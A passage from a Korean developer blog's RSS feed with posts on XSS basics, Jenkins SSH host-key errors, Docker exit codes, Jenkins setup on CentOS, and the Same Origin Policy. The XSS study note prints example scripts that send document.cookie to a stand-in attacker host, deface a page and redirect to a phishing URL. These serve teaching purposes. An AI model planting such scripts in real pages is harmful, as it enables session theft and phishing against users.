<p>이런 식으로 이용자가 XSS 게시물에 접속하면 공격자가 임의로 삽입한 스크립트가 실행되어 쿠키 및 세션이 탈취될 수 있다.</p>
<p>이 취약점은 SOP 보안 정책이 등장하면서 서로 달느 오리진에서는 정보를 읽는 행위가 이전에 비해 힘들어졌다. 그러나 이를 우회하는 다양한 기술이 소개되면서 XSS 공격은 지속되고 있다.</p>
<h3 id="xss-발생-예시와-종류">XSS 발생 예시와 종류</h3>
<p>클라이언트는 HTTP 형식으로 웹 서버에 리소스를 요청하고 서버로부터 받은 응답, 즉 HTML, CSS, JS 등의 웹 리소스를 시각화하여 이용자에게 보여준다. 이 때, HTML, CSS, JS와 같은 코드가 포함된 게시물을 조회할 경우 이용자는 변조된 페이지를 보거나 스크립트가 실행될 수 있다.</p>
<table>
<thead>
<tr>
<th>종류</th>
<th>설명</th>
</tr>
</thead>
<tbody><tr>
<td>Stored XSS</td>
<td>XSS에 사용되는 악성 스크립트가 서버에 저장되고 서버의 응답에 담겨오는 XSS</td>
</tr>
<tr>
<td>Reflected XSS</td>
<td>XSS에 사용되는 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS</td>
</tr>
<tr>
<td>DOM-based XSS</td>
<td>XSS에 사용되는 악성 스크립트가 URL Fragment에 삽입되는 XSS</td>
</tr>
<tr>
<td>Universal XSS</td>
<td>클라이언트의 브라우저 혹은 브라우저의 플러그인에서 발생하는 취약점으로 SOP 정책을 우회하는 XSS</td>
</tr>
</tbody></table>
<h3 id="xss-스크립트-예시">XSS 스크립트 예시</h3>
<p>자바스크립트는 웹 문서의 동작을 정의하는데, 공격자가 자바스크립트를 통해 이용자에게 보여지는 웹 페이지를 조작하거나, 웹 브라우저의 위치를 임의의 주소로 변경할 수 있다. 다양한 동작을 정의할 수 있기에 XSS 공격에 주로 사용된다. 
자바 스크립트를 실행하기 위한 태그로는 script가 있고 코드 예시로 살펴보자.</p>
<h4 id="--쿠키-및-세션-탈취-공격-코드">- 쿠키 및 세션 탈취 공격 코드</h4>
<pre><code>&lt;script&gt;
// &quot;hello&quot; 문자열 alert 실행.
alert(&quot;hello&quot;);
// 현재 페이지의 쿠키(return type: string)
document.cookie; 
// 현재 페이지의 쿠키를 인자로 가진 alert 실행.
alert(document.cookie);
// 쿠키 생성(key: name, value: test)
document.cookie = &quot;name=test;&quot;;
// new Image() 는 이미지를 생성하는 함수이며, src는 이미지의 주소를 지정. 공격자 주소는 http://hacker.dreamhack.io
// &quot;http://hacker.dreamhack.io/?cookie=현재페이지의쿠키&quot; 주소를 요청하기 때문에 공격자 주소로 현재 페이지의 쿠키 요청함
new Image().src = &quot;http://hacker.dreamhack.io/?cookie=&quot; + document.cookie;
&lt;/script&gt;</code></pre><h4 id="페이지-변조-공격-코드">페이지 변조 공격 코드</h4>
<pre><code>&lt;script&gt;
// 이용자의 페이지 정보에 접근.
document;
// 이용자의 페이지에 데이터를 삽입.
document.write(&quot;Hacked By DreamHack !&quot;);
&lt;/script&gt;</code></pre><h4 id="--위치-이동-공격-코드">- 위치 이동 공격 코드</h4>
<pre><code>&lt;script&gt;
// 이용자의 위치를 변경.
// 피싱 공격 등으로 사용됨.
location.href = &quot;http://hacker.dreamhack.io/phishing&quot;; 
// 새 창 열기
window.open(&quot;http://hacker.dreamhack.io/&quot;)
&lt;/script&gt;</code></pre><h3 id="stored-xss">Stored XSS</h3>
<p>Stored XSS 란 서버의 DB 또는 File 등의 형태로 저장된 악성 스크립트를 조회할 때 발생할 수 있는 XSS다. 대표적으로 게시물과 댓글에 악성 스크립트를 포함해 업로드하는 방법이 있다. 
불특정 다수에서 노출될 수 있어 해당 기능에서 XSS 취약점이 존재할 경우 큰 피해를 입을 수 있다.</p>
<h3 id="reflected-xss">Reflected XSS</h3>
<p>Reflected XSS는 서버가 악성 스크립트가 담긴 요청을 출력할 때 발생한다. 예를 들면, 게시판 서비스에서 작성된 게시물을 조회하는 검색창에서 스크립트를 포함해 검색하는 방법이 있다. 이용자가 검색을 하고, 검색 결과가 이용자에게 반환될 때, 검색 결과를 응답에 포함하는 검색 문자열에 악성 스크립트가 포함되어 있다면 Reflected XSS가 발생할 수 있다.
Relfected XSS는 Stored XSS와 다르게, URL과 같은 이용자의 요청에 의해 발생된다. 따라서 이용자가 눈치채지 못하게 악성 스크립트가 포함된 링크에 접속할 수 있도록 주로 Click Jacking 또는 Open Redirect 등 다른 취약점과 연계하여 사용한다. </p>
<h2 id="정리하며">정리하며</h2>
<hr>
<ul>
<li>Cross Site Scripting(XSS) : 클라이언트 사이드 취약점, 공격자가 웹 리소스에 악성 스크립트를 삽입하여 이용자의 웹 브라우저에서 해당 스크립트를 실행</li>
<li>Stored XSS: 악성 스크립트가 서버 내에 존재. 이용자가 저장된 악성 스크립트를 조회할 때 발생</li>
<li>Reflected XSS: 악성 스크립트가 이용자 요청 내에 존재. 이용자가 악성 스크립트가 포함된 요청을 보낸 후 응답을 출력할 때 발생.</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[배포] Jenkins private Github 저장소 SSH 에러 (status code 208)]]></title>
            <link>https://velog.io/@layl__a/%EB%B0%B0%ED%8F%AC-Jenkins-private-Github-%EC%A0%80%EC%9E%A5%EC%86%8C-SSH-%EC%97%90%EB%9F%AC-status-code-208</link>
            <guid>https://velog.io/@layl__a/%EB%B0%B0%ED%8F%AC-Jenkins-private-Github-%EC%A0%80%EC%9E%A5%EC%86%8C-SSH-%EC%97%90%EB%9F%AC-status-code-208</guid>
            <pubDate>Fri, 21 Apr 2023 10:46:47 GMT</pubDate>
            <description><![CDATA[<p>Jenkins 와 Github 연결해서 webhook으로 배포를 시도하고 있었는데 credentialsId 와 SSH 키를 설정해도 아래와 같은 문제가 발생했다.</p>
<pre><code>Started by user hmgadmin
[Pipeline] Start of Pipeline
[Pipeline] node
Running on Jenkins in /var/jenkins_home/workspace/HMG_1
[Pipeline] {
[Pipeline] stage
[Pipeline] { (Declarative: Tool Install)
[Pipeline] tool
[Pipeline] envVarsForTool
[Pipeline] }
[Pipeline] // stage
[Pipeline] withEnv
[Pipeline] {
[Pipeline] stage
[Pipeline] { (Prepare)
[Pipeline] tool
[Pipeline] envVarsForTool
[Pipeline] withEnv
[Pipeline] {
[Pipeline] git
The recommended git tool is: NONE
using credential (크레덴셜 아이디)
 &gt; git rev-parse --resolve-git-dir /var/jenkins_home/workspace/HMG_1/.git # timeout=10
Fetching changes from the remote Git repository
 &gt; git config remote.origin.url 
 (SSH git 주소)
 # timeout=10
Fetching upstream changes from 
(SSH git 주소)
 &gt; git --version # timeout=10
 &gt; git --version # &#39;git version 2.30.2&#39;
using GIT_SSH to set credentials 
Verifying host key using known hosts file
You&#39;re using &#39;Known hosts file&#39; strategy to verify ssh host keys, but your known_hosts file does not exist, please go to &#39;Manage Jenkins&#39; -&gt; &#39;Configure Global Security&#39; -&gt; &#39;Git Host Key Verification Configuration&#39; and configure host key verification.
 &gt; git fetch --tags --force --progress -- 
 (SSH git 주소) +refs/heads/*:refs/remotes/origin/* # timeout=10
ERROR: Error fetching remote repo &#39;origin&#39;
hudson.plugins.git.GitException: Failed to fetch from
(SSH git 주소)
hudson.plugins.git.GitSCM.fetchFrom(GitSCM.java:1003)
    at hudson.plugins.git.GitSCM.retrieveChanges(GitSCM.java:1245)
    at hudson.plugins.git.GitSCM.checkout(GitSCM.java:1309)
    at org.jenkinsci.plugins.workflow.steps.scm.SCMStep.checkout(SCMStep.java:129)
    at org.jenkinsci.plugins.workflow.steps.scm.SCMStep$StepExecutionImpl.run(SCMStep.java:97)
    at org.jenkinsci.plugins.workflow.steps.scm.SCMStep$StepExecutionImpl.run(SCMStep.java:84)
    at org.jenkinsci.plugins.workflow.steps.SynchronousNonBlockingStepExecution.lambda$start$0(SynchronousNonBlockingStepExecution.java:47)
    at java.base/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515)
    at java.base/java.util.concurrent.FutureTask.run(FutureTask.java:264)
    at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
    at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
    at java.base/java.lang.Thread.run(Thread.java:829)
Caused by: hudson.plugins.git.GitException: Command &quot;git fetch --tags --force --progress -- 
(SSH git 주소)
+refs/heads/*:refs/remotes/origin/*&quot; returned status code 128:
stdout: 
stderr: No ECDSA host key is known for github.com and you have requested strict checking.
Host key verification failed.
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.

    at org.jenkinsci.plugins.gitclient.CliGitAPIImpl.launchCommandIn(CliGitAPIImpl.java:2732)
    at org.jenkinsci.plugins.gitclient.CliGitAPIImpl.launchCommandWithCredentials(CliGitAPIImpl.java:2109)
    at org.jenkinsci.plugins.gitclient.CliGitAPIImpl$1.execute(CliGitAPIImpl.java:623)
    at hudson.plugins.git.GitSCM.fetchFrom(GitSCM.java:1001)
    ... 11 more
Post stage
[Pipeline] sh
+ echo Fail Cloned Repository
Fail Cloned Repository
[Pipeline] }
[Pipeline] // withEnv
[Pipeline] }
[Pipeline] // stage
[Pipeline] stage
[Pipeline] { (Build Gradle Test)
Stage &quot;Build Gradle Test&quot; skipped due to earlier failure(s)
[Pipeline] }
[Pipeline] // stage
[Pipeline] stage
[Pipeline] { (Docker rm)
Stage &quot;Docker rm&quot; skipped due to earlier failure(s)
[Pipeline] }
[Pipeline] // stage
[Pipeline] stage
[Pipeline] { (Bulid Gradle)
Stage &quot;Bulid Gradle&quot; skipped due to earlier failure(s)
[Pipeline] }
[Pipeline] // stage
[Pipeline] stage
[Pipeline] { (Bulid Docker)
Stage &quot;Bulid Docker&quot; skipped due to earlier failure(s)
[Pipeline] }
[Pipeline] // stage
[Pipeline] stage
[Pipeline] { (Docker Run)
Stage &quot;Docker Run&quot; skipped due to earlier failure(s)
[Pipeline] }
[Pipeline] // stage
[Pipeline] }
[Pipeline] // withEnv
[Pipeline] }
[Pipeline] // node
[Pipeline] End of Pipeline
ERROR: Error fetching remote repo &#39;origin&#39;
Finished: FAILURE</code></pre><p>여기서 중요한 부분이 아래의 로그인 것 같은데, 호스트 키를 인식하지 못하는 문제인 것 같다.</p>
<pre><code>stderr: No ECDSA host key is known for github.com and you have requested strict checking.
Host key verification failed.</code></pre><p>구글링을 해본 결과, 
<a href="https://stackoverflow.com/questions/15174194/jenkins-host-key-verification-failed">https://stackoverflow.com/questions/15174194/jenkins-host-key-verification-failed</a></p>
<p>known_hosts에 등록되지 않았다고 한다. </p>
<pre><code>jenkins@ea1f0b09c539:~$ git ls-remote -h (SSH github 주소) HEAD
The authenticity of host &#39;github.com (20.200.245.247)&#39; can&#39;t be established.
ECDSA key fingerprint is SHA256:-/-/-.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added &#39;github.com,20.200.245.247&#39; (ECDSA) to the list of known hosts.</code></pre><p>위와 같은 명령어를 수행하니, 새로운 HOST에 SSH를 통해 접속할 때 발생하는 경고 메시지가 나왔고, YES를 클릭했더니 이 문제는 해결되었다. 
known_hosts에 github에 추가해준 것으로 해결 된 것이다.</p>
<hr>
<p>결과적으로 github 저장소를 가져오는 건 됐지만...
<img src="https://velog.velcdn.com/images/layl__a/post/d0dd1aa8-955d-4e5f-8cea-681b79412731/image.png" alt="">
이번에는 Build Gradle 에서 문제가 난다..!
installReact 문제인데, 다시 천천히 고쳐보겠다...</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Docer] 도커 컨테이너의 종료 코드 (exit code) ]]></title>
            <link>https://velog.io/@layl__a/Docer-%EB%8F%84%EC%BB%A4-%EC%BB%A8%ED%85%8C%EC%9D%B4%EB%84%88%EC%9D%98-%EC%A2%85%EB%A3%8C-%EC%BD%94%EB%93%9C-exit-code</link>
            <guid>https://velog.io/@layl__a/Docer-%EB%8F%84%EC%BB%A4-%EC%BB%A8%ED%85%8C%EC%9D%B4%EB%84%88%EC%9D%98-%EC%A2%85%EB%A3%8C-%EC%BD%94%EB%93%9C-exit-code</guid>
            <pubDate>Thu, 20 Apr 2023 11:34:21 GMT</pubDate>
            <description><![CDATA[<p>프로젝트를 하다가 도커가 갑자기 꺼지더니.. 재시작도 안돼서 무슨 일인가 싶어 찾아봤더니.. 도커 종료 코드가 있다는 걸 알게 되었다. </p>
<p>리눅스 프로세스가 종료 시그널을 받으면, 종료되는 이유를 관리자가 알 수 있도록 종료 원인에 해당하는 코드를 반환하는 것이 일반적이고, 도커 컨테이너 또한 예외는 아니라고 한다. 컨테이너 내부의 init 프로세스가 종료될 시 컨테이너는 종료 코드를 도커 데몬에게 알려 저장하도록 되어 있다. (init 프로세스는 Dockerfile 및 컨테이너 생성 명령어에 정의된 CMD 또는 Entrypoint 등을 의미한다) 때문에 docker ps -a와 같은 일반적인 명령어로도 어떠한 이유로 컨테이너가 종료되었는지를 쉽게 확인할 수 있다고 한다.</p>
<h2 id="종료-코드-확인-방법">종료 코드 확인 방법</h2>
<hr>
<pre><code class="language-shell">docker ps -a --format &#39;table {{.Names}}\t{{.Image}}\t{{.Status}}&#39;</code></pre>
<p><img src="https://velog.velcdn.com/images/layl__a/post/cd14d044-a677-4e52-89d3-72518937888c/image.png" alt=""></p>
<h3 id="1-exit-code-0-성공적으로-종료됨">1) exit code 0: 성공적으로 종료됨</h3>
<p>가장 일반적인 경우로, 컨테이너 내부의 init 프로세스가 자신의 역할을 다하고 정상적으로 종료되었을 때, 또는 docker stop에 의해 종료되었을 때에 해당된다. SIGTERM에 의해 종료되어도 0으로 출력되는걸로 보아, 두 코드 간에 큰 차이는 없는걸로 보인다.</p>
<h3 id="2-exit-code-125-도커-명령어-자체가-실패한-경우">(2) exit code 125: 도커 명령어 자체가 실패한 경우</h3>
<p>잘못된 도커 명렁어 또는 플래그로 인해 수행 자체가 성공되지 않은 경우에 해당한다. 사실상 docker ps -a 출력에서는 볼 수 없는 에러 코드이다.</p>
<h3 id="3-exit-code-126-컨테이너의-커맨드가-실패한-경우">(3) exit code 126: 컨테이너의 커맨드가 실패한 경우</h3>
<p>컨테이너 실행 시, 커맨드의 수행이 실패된 경우이다. 명령어 자체는 유의미하지만 실행 불가능한 경우 등에 해당된다. 컨테이너가 생성되어 Created 상태이지만, 실행 자체가 불가능하므로 docker ps -a에서는 출력되지 않는 코드이다.</p>
<h3 id="4-exit-code-127-컨테이너의-커맨드가-존재하지-않는-경우">(4) exit code 127: 컨테이너의 커맨드가 존재하지 않는 경우</h3>
<p>컨테이너에 설정된 커맨드가 컨테이너 내부에 존재하지 않아 수행할 수 없는 경우이다. 126과 마찬가지로 컨테이너가 생성은 되지만 실행은 되지 않는다.</p>
<h3 id="5-exit-code-128--n-리눅스-시그널-n에-해당하는-오류가-발생한-경우">(5) exit code 128 + n: 리눅스 시그널 n에 해당하는 오류가 발생한 경우</h3>
<p>255를 제외한 아래의 경우에 해당된다. </p>
<h3 id="6-exit-code-130-1282-control--c로-종료된-경우">(6) exit code 130: (128+2) Control + C로 종료된 경우</h3>
<p>컨테이너가 실행되었을 때, 인터럽트 루틴(Control + C) 에 의해 init 프로세스가 전달된 경우이다. 인터럽트 신호인 SIGINT의 코드가 2이므로 종료 코드는 130이 된다. 사실상 개발자가 의도적으로 컨테이너를 종료시키는 경우가 아니면 거의 볼 수 없다. </p>
<p>mysql과 같은 컨테이너를 interactive하게 (-it) 생성하고 Control + C를 연속적으로 입력하면 이 코드를 인위적으로 만들어 낼 수 있다.</p>
<h3 id="7-exit-code-137--143-1289-15-컨테이너가-sigkill-및-sigterm-을-받은-경우">(7) exit code 137 &amp; 143: (128+9, 15) 컨테이너가 SIGKILL 및 SIGTERM 을 받은 경우</h3>
<p>docker stop 명령어를 사용하면 도커 데몬은 컨테이너의 init 프로세스에 SIGTERM을 전송하며, 일반적으로 Gracefully exit라고 부른다. 일정 시간이 지나도 종료되지 않을 시 SIGKILL을 전송하게 되고, 이 때의 종료 코드는 137이 된다. docker stop이 SIGKILL로 전환되도록 하는 시간 제한은 docker stop의 -t 플래그를 통해 초 단위로 설정할 수 있으며 기본 값은 10초이다. </p>
<p>docker kill 및 docker rm -f 명령어 또한 SIGKILL 시그널을 사용하기 때문에, 마찬가지로 종료 코드는 137로 출력된다. 참고로, 컨테이너의 메모리 자원 부족으로 인한 OOM 시 컨테이너의 강제 종료에도 SIGKILL이 사용되어 137로 출력된다.</p>
<h3 id="8-exit-code-255-종료-코드가-범위를-벗어나는-경우">(8) exit code 255: 종료 코드가 범위를 벗어나는 경우</h3>
<p>에러 코드가 -1인 경우, 즉 명백한 에러인 경우 해당된다. 컨테이너 내부의 서비스가 내뿜은 에러 로그를 확인하는 것이 좋다.</p>
<hr>
<p>나의 경우는 137인데 용량부족이 문제인 것 같다. NCP 서버 처음 개설할 시에 micro 용량으로 해서 그런 것 같다... </p>
<h4 id="레퍼런스">레퍼런스</h4>
<p><a href="https://blog.naver.com/alice_k106/221310477844">https://blog.naver.com/alice_k106/221310477844</a></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[NCP] CentOS7.8 서버에 docker 이미지로 jenkins 실행하기]]></title>
            <link>https://velog.io/@layl__a/NCP-CentOS7.8-%EC%84%9C%EB%B2%84%EC%97%90-docker-%EC%9D%B4%EB%AF%B8%EC%A7%80%EB%A1%9C-jenkins-%EC%8B%A4%ED%96%89%ED%95%98%EA%B8%B0</link>
            <guid>https://velog.io/@layl__a/NCP-CentOS7.8-%EC%84%9C%EB%B2%84%EC%97%90-docker-%EC%9D%B4%EB%AF%B8%EC%A7%80%EB%A1%9C-jenkins-%EC%8B%A4%ED%96%89%ED%95%98%EA%B8%B0</guid>
            <pubDate>Thu, 20 Apr 2023 08:51:59 GMT</pubDate>
            <description><![CDATA[<h2 id="docker-환경-세팅">docker 환경 세팅</h2>
<hr>
<p>나는 root 사용자 말고 새로운 사용자를 추가하여 세팅하고자 했다.</p>
<pre><code class="language-CentOS">adduser exam // exam 이라는 사용자 추가
passwd exam // exam 계정에 비밀번호 설정</code></pre>
<p>이제 putty로 접속할 때 exam@[IP주소] 와 기본 포트를 입력하면 접속할 수 있다.</p>
<h4 id="exam에-sudo-권한-주기">exam에 sudo 권한 주기</h4>
<p>먼저 root 계정으로 진행해야 한다.</p>
<pre><code class="language-linux">su
root 비번 입력 (나갈 때는 exit)
vim /etc/sudoers
// root ALL=(ALL) ALL 라인 밑 부분에 exam ALL=(ALL) ALL 라인 추가
esc + wq! 로 저장</code></pre>
<h4 id="selinux-끄기">selinux 끄기</h4>
<pre><code class="language-linux">sudo vim /etc/selinux/config
SELINUX = disabled // 이렇게 수정</code></pre>
<h4 id="기본-설정-업데이트">기본 설정 업데이트</h4>
<pre><code class="language-linux">sudo yum install epel-release -y
sudo yum update -y
sudo reboot now</code></pre>
<h3 id="도커-설치">도커 설치</h3>
<pre><code class="language-linux">sudo yum install -y yum-utils

sudo yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo

sudo yum install docker-ce docker-ce-cli containerd.io docker-compose-plugin -y

sudo systemctl start docker

sudo systemctl enable docker</code></pre>
<h3 id="도커를-sudo-없이-이용">도커를 sudo 없이 이용</h3>
<pre><code class="language-linux">sudo usermod -aG docker ${USER}</code></pre>
<p>이후, putty 재시작 필수</p>
<h2 id="젠킨스-환경-세팅">젠킨스 환경 세팅</h2>
<h4 id="firewalld-꺼져있고-비활성화-되어-있는지-확인">firewalld 꺼져있고 비활성화 되어 있는지 확인</h4>
<pre><code class="language-linux">sudo systemctl stop firewalld

sudo systemctl disable firewalld</code></pre>
<h4 id="도커-설치-확인-및-도커-관련-초기화">도커 설치 확인 및 도커 관련 초기화</h4>
<pre><code class="language-linux"># 컨테이너 삭제
docker rm -f $(docker ps -qa)

# 이미지 삭제
docker rmi -f $(docker images -qa)

# 안쓰는 네트워크 삭제
docker network prune -f

# 안쓰는 볼륨 삭제
docker volume prune -f

# 도커 프로젝트 삭제
sudo rm -rf /docker/projects
sudo rm -rf /docker_projects</code></pre>
<h3 id="젠킨스-설치">젠킨스 설치</h3>
<pre><code class="language-linux">docker run \
  --name jenkins_1 \
  -p 8081:8080 \
  -e TZ=Asia/Seoul \
  -v /docker_projects/jenkins_1/var/jenkins_home:/var/jenkins_home \
  -v /var/run/docker.sock:/var/run/docker.sock \
  -v /docker_projects/jenkins_1/data:/data \
  -u root \
  -d \
  --restart unless-stopped \
  jenkins/jenkins:lts
</code></pre>
<ul>
<li>첫째줄은 docker 를 실행한다</li>
<li>name 은 jenkins_1 이다</li>
<li>8081 포트로 접속하면 서버에 들어갈 수 있다.</li>
<li>환경 시간은 Asia/Seoul 이다</li>
<li>컨테이너 내부의 /var/jenkins_home 폴더가 외부 폴더 /docker_projects/jenkins_1/var/jenkins_home 에 연결 된다. 볼륨은 밖으로 빼주어 이미지가 사라지더라도 남는다. </li>
<li>Docker socket 파일 위치 : /var/run/docker.sock 이다.</li>
<li>data 는 /docker_projects/jenkins_1/data 폴더와 연결된다.</li>
<li>찾는 중 </li>
<li>종료되지 않는 한 항상 재시작한다</li>
<li>jenkins 이미지를 pull 받는다.</li>
</ul>
<p>Naver Cloud Platform의 Console 에 들어가 Platform 부분의 Classic 과 VPC 중 선택한다. (VPC가 더 비싸고 성능이 좋음) 나는 Classic을 선택하고 Server 에 들어갔다. </p>
<h3 id="젠킨스-접속">젠킨스 접속</h3>
<p>http://[IP 주소]:8081</p>
<h3 id="접속-안됨">접속 안됨</h3>
<p><img src="https://velog.velcdn.com/images/layl__a/post/93aaf0b7-7403-4626-8744-258f17bf5c45/image.png" alt="">
사이트에 연결할 수 없음이 뜬다.</p>
<p>알고 보니 NCP 서버에서 젠킨스를 사용하는 포트 (8081)이 막혀있었던 것이다.
<img src="https://velog.velcdn.com/images/layl__a/post/3e80b615-8fb9-4686-95b6-01f6460243dc/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/layl__a/post/f1ad5626-c67f-46a4-be60-93d9226bebe5/image.png" alt=""></p>
<p>ACG 설정에 들어가서 8081 포트를 추가해주었더니 정상적으로 접속이 된다.
<img src="https://velog.velcdn.com/images/layl__a/post/7b07856f-6d5a-4848-81ef-087777fdfd86/image.jpg" alt=""></p>
<h3 id="젠킨스-초기-비번-확인-후-로그인">젠킨스 초기 비번 확인 후 로그인</h3>
<pre><code class="language-linux">docker exec jenkins_1 cat /var/jenkins_home/secrets/initialAdminPassword</code></pre>
<h4 id="젠킨스-플러그인-설치">젠킨스 플러그인 설치</h4>
<p>추천되는 플러그인을 설치하는 것이 권장된다.</p>
<h4 id="젠킨스-사용자-생성">젠킨스 사용자 생성</h4>
<pre><code>Username: 

Password: 

Confirm password: 

Full name: 

E-mail address: 

본인의 이메일 주소</code></pre><h3 id="이제-젠킨스를-시작할-수-있는-단계에-왔다">이제 젠킨스를 시작할 수 있는 단계에 왔다!</h3>
<p><img src="https://velog.velcdn.com/images/layl__a/post/ed8047e5-d40a-4c21-a6c5-7b99ee1ece19/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[혼공] Same Origin Policy 정책 실습해보자]]></title>
            <link>https://velog.io/@layl__a/%ED%98%BC%EA%B3%B5-Same-Origin-Policy-%EC%A0%95%EC%B1%85-%EC%8B%A4%EC%8A%B5%ED%95%B4%EB%B3%B4%EC%9E%90</link>
            <guid>https://velog.io/@layl__a/%ED%98%BC%EA%B3%B5-Same-Origin-Policy-%EC%A0%95%EC%B1%85-%EC%8B%A4%EC%8A%B5%ED%95%B4%EB%B3%B4%EC%9E%90</guid>
            <pubDate>Wed, 19 Apr 2023 05:40:03 GMT</pubDate>
            <description><![CDATA[<h2 id="공부하게-된-이유">공부하게 된 이유</h2>
<p><a href="https://learn.dreamhack.io/186">dreamhack</a>
에서 CS 기본 지식을 공부하게 되었다.</p>
<h2 id="same-origin-policysop란">Same Origin Policy(SOP)란?</h2>
<hr>
<p>우리가 브라우저 요청을 보낼 때 해당 웹 서비스에서 사용하는 인증 정보인 쿠키를 HTTP 요청에 포함시켜 전달한다. 또한, 웹 리소스를 통해 간접적으로 타 사이트에 접근할 때도 인증 정보인 쿠키를 함께 전송하기도 한다. 
 이 특징 때문에 악의적인 이용자가 이 쿠키를 가로채어 이용자 권한을 이용해 서버에 HTTP 요청을 보내고, HTTP 응답 정보를 획득하는 코드를 실행할 수 있다. 이와 같은 문제를 방지하기 위해 데이터를 악의적인 페이지에서 읽 수 없도록 하는 ** 동일 출처 정책<strong>, **SOP 보안메커니즘</strong>이 탄생했다.</p>
<h2 id="same-origin-policy의-오리진origin-구분-방법">Same Origin Policy의 오리진(Origin) 구분 방법</h2>
<p> 구성 요소가 모두 일치해야 올바른 오리진이라고 한다.</p>
<ul>
<li>구성 요소 : 프로토콜(Protocol, Scheme), 포트(Port), 호스트(Host)<h4 id="예시-httpssame-origincom라는-오리진과-아래-url을-비교했을-때-결과">예시 (<a href="https://same-origin.com/%EB%9D%BC%EB%8A%94">https://same-origin.com/라는</a> 오리진과 아래 URL을 비교했을 때 결과)</h4>
</li>
</ul>
<table>
<thead>
<tr>
<th>URL</th>
<th>결과</th>
<th>이유</th>
</tr>
</thead>
<tbody><tr>
<td><a href="https://same-origin.com/frame.html">https://same-origin.com/frame.html</a></td>
<td>Same Origin</td>
<td>Path만 다름</td>
</tr>
<tr>
<td><a href="http://same-origin.com/frame.html">http://same-origin.com/frame.html</a></td>
<td>Cross Origin</td>
<td>Scheme이 다름</td>
</tr>
<tr>
<td><a href="https://cross.same-origin.com/frame.html">https://cross.same-origin.com/frame.html</a></td>
<td>Cross Origin</td>
<td>Host가 다름</td>
</tr>
<tr>
<td><a href="https://same-origin.com:1234/">https://same-origin.com:1234/</a></td>
<td>Cross Origin</td>
<td>Port가 다름</td>
</tr>
</tbody></table>
<p>SOP은 Cross Origin이 아닌 Same Origin일 때만 정보를 읽을 수 있도록 한다.</p>
<h2 id="same-origin-policy-실습">Same Origin Policy 실습</h2>
<p>개발자 도구 F12를 누르고 콘솔 창에서 한 줄씩 직접 코드를 입력해보면서 실습해보자.</p>
<h3 id="same-origin">Same Origin</h3>
<pre><code class="language-console">1. sameNewWindow = window.open(&#39;https://dreamhack.io/lecture&#39;);
2. console.log(sameNewWindow.location.href);
3. 결과: https://dreamhack.io/lecture</code></pre>
<p><img src="https://velog.velcdn.com/images/layl__a/post/b8b1f987-6bb8-4112-9675-67c5eb556ba6/image.png" alt=""></p>
<h3 id="cross-origin">Cross Origin</h3>
<pre><code class="language-console">1. crossNewWindow = window.open(&#39;https://theori.io&#39;);
2. console.log(crossNewWindow.location.href);
3. 결과: Origin 오류 발생</code></pre>
<p><img src="https://velog.velcdn.com/images/layl__a/post/630cf152-9bef-4189-9dd7-788297d580de/image.png" alt=""></p>
<h3 id="cross-origin-데이터-읽기쓰기">Cross Origin 데이터 읽기/쓰기</h3>
<p>외부 출처에서 불러온 데이터를 읽으려고 할 때는 오류가 발생하지만, 데이터를 쓰는 것은 문제 없이 동작한다. 즉, 아래와 같은 코드는 오류가 발생하지 않는다.</p>
<pre><code class="language-console">1.crossNewWindow = window.open(&#39;https://theori.io&#39;);
2.crossNewWindow.location.href = &quot;https://dreamhack.io&quot;;</code></pre>
<h2 id="sop-데모">SOP 데모</h2>
<p>예시)</p>
<pre><code class="language-html">1. &lt;!-- iframe 객체 생성 --&gt;
2. &lt;iframe src=&quot;&quot; id=&quot;my-frame&quot;&gt;&lt;/iframe&gt;
3. 
4. &lt;!-- Javascript 시작 --&gt;
5. &lt;script&gt;
6. /* 2번째 줄의 iframe 객체를 myFrame 변수에 가져옵니다. */
7. let myFrame = document.getElementById(&#39;my-frame&#39;)
8. 
9.  /* iframe 객체에 주소가 로드되는 경우 아래와 같은 코드를 실행합니다. */
10. myFrame.onload = () =&gt; {
11.    /* try ... catch 는 에러를 처리하는 로직 입니다. */
12.     try {
13.        /* 로드가 완료되면, secret-element 객체의 내용을 콘솔에 출력합니다. */
14.        let secretValue = myFrame.contentWindow.document.getElementById(&#39;secret-element&#39;).innerText;
15.         console.log({ secretValue });
16.    } catch(error) {
17.        /* 오류 발생시 콘솔에 오류 로그를 출력합니다. */
18.        console.log({ error });
19.    }
20.}
21./* iframe객체에 Same Origin, Cross Origin 주소를 로드하는 함수 입니다. */
22. const loadSameOrigin = () =&gt; { myFrame.src = &#39;https://same-origin.com/frame.html&#39;; }
23. const loadCrossOrigin = () =&gt; { myFrame.src = &#39;https://cross-origin.com/frame.html&#39;; }
24. &lt;/script&gt;
25.
26. &lt;!--
27. 버튼 2개 생성 (Same Origin 버튼, Cross Origin 버튼)
28. --&gt;
29. &lt;button onclick=loadSameOrigin()&gt;Same Origin&lt;/button&gt;&lt;br&gt;
30. &lt;button onclick=loadCrossOrigin()&gt;Cross Origin&lt;/button&gt;
31.
32. &lt;!--
33. frame.html의 코드가 아래와 같습니다.
34. secret-element라는 id를 가진 div 객체 안에 treasure라고 하는 비밀 값을 넣어두었습니다.
35. --&gt;
36. &lt;div id=&quot;secret-element&quot;&gt;treasure&lt;/div&gt;</code></pre>
<p>출처 : <a href="https://learn.dreamhack.io/186#7">https://learn.dreamhack.io/186#7</a></p>
<ul>
<li>코드 동작 설명</li>
</ul>
<ol>
<li>iframe은 현재 웹 페이지 안에 또 다른 하나의 웹 페이지를 삽입하는 HTML태그. src 요소를 설정함으로써 삽입할 웹 페이지의 주소가 결정됨.</li>
<li>10번째 줄은 객체가 성공적으로 로드되었을 때 동작하는 이벤트 핸들러다.</li>
<li>14~15번째 줄은 로드가 완료되면 iframe내에 삽입된 주소에서 secret-element 객체의 값인 treasure를 읽어와 콘솔에 출력한다.</li>
</ol>
<h3 id="실습">실습</h3>
